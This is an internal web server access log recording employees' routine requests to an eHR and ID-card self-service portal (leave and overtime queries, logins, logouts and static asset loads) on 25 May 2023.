192.168.12.71 - - [25/May/2023:13:24:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:13:24:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139
192.168.12.71 - - [25/May/2023:13:27:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:13:27:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139
192.168.11.236 - - [25/May/2023:13:28:59 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:13:28:59 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139
192.168.11.236 - - [25/May/2023:13:29:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:13:29:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139
192.168.11.236 - - [25/May/2023:13:25:08 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:13:25:08 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 -
192.168.11.236 - - [25/May/2023:13:35:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12325
192.168.11.236 - - [25/May/2023:13:35:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12325 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:13:35:08 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 139 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:13:35:08 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 139
192.168.12.71 - - [25/May/2023:13:35:01 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 -
192.168.12.71 - - [25/May/2023:13:35:01 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.97 - - [25/May/2023:13:34:22 +0800] "GET /idcard/ess/index.php?action=logout HTTP/1.1" 200 142 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:34:22 +0800] "GET /idcard/ess/index.php?action=logout HTTP/1.1" 200 142
192.168.11.97 - - [25/May/2023:13:35:29 +0800] "GET /idcard/ess/index.php?action=logout HTTP/1.1" 200 142 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:35:29 +0800] "GET /idcard/ess/index.php?action=logout HTTP/1.1" 200 142
192.168.11.97 - - [25/May/2023:13:34:06 +0800] "GET /idcard/ess/index.php?action=logout HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:34:06 +0800] "GET /idcard/ess/index.php?action=logout HTTP/1.1" 200 -
192.168.11.97 - - [25/May/2023:13:36:20 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:36:20 +0800] "GET /favicon.ico HTTP/1.1" 404 209
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/css/blueprint/screen.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/css/blueprint/screen.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/css/default.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/css/default.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/img/logo.gif HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/img/logo.gif HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/img/index_banner_2.jpg HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/img/index_banner_2.jpg HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/img/img1.jpg HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/img/img1.jpg HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/img/loginbg.gif HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:36:52 +0800] "GET /idcard/img/loginbg.gif HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:36:22 +0800] "GET /idcard/ess/index.php?action=logout HTTP/1.1" 200 11477 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:36:22 +0800] "GET /idcard/ess/index.php?action=logout HTTP/1.1" 200 11477
192.168.11.97 - - [25/May/2023:13:36:53 +0800] "GET /idcard/js/flash_detect_min.js HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:36:53 +0800] "GET /idcard/js/flash_detect_min.js HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:36:57 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 11480 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:36:57 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 11480
192.168.11.97 - - [25/May/2023:13:37:04 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 200 - "http://192.168.1.81:8088/idcard/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:37:04 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 200 -
192.168.11.97 - - [25/May/2023:13:38:44 +0800] "GET /idcard/ess/index.php?action=logout HTTP/1.1" 200 11480
192.168.11.97 - - [25/May/2023:13:38:44 +0800] "GET /idcard/ess/index.php?action=logout HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.12.71 - - [25/May/2023:13:38:47 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:13:38:47 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.236 - - [25/May/2023:13:38:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:13:38:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 139
192.168.11.236 - - [25/May/2023:13:38:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:13:38:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139
192.168.11.236 - - [25/May/2023:13:38:28 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 139
192.168.11.236 - - [25/May/2023:13:38:28 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 139 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:13:35:42 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 -
192.168.11.236 - - [25/May/2023:13:35:42 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:13:39:22 +0800] "GET /favicon.ico HTTP/1.1" 404 209
192.168.11.236 - - [25/May/2023:13:39:22 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:13:39:13 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:13:39:13 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.12.71 - - [25/May/2023:13:39:29 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.12.71 - - [25/May/2023:13:39:29 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.97 - - [25/May/2023:13:39:08 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 200 - "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:39:08 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 200 -
192.168.11.236 - - [25/May/2023:13:39:48 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:13:39:48 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.97 - - [25/May/2023:13:40:58 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.97 - - [25/May/2023:13:40:58 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:41:24 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 200 6085 "http://192.168.1.81:8088/idcard/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:41:24 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 200 6085
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 - "http://192.168.1.81:8088/idcard/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:41:25 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 -
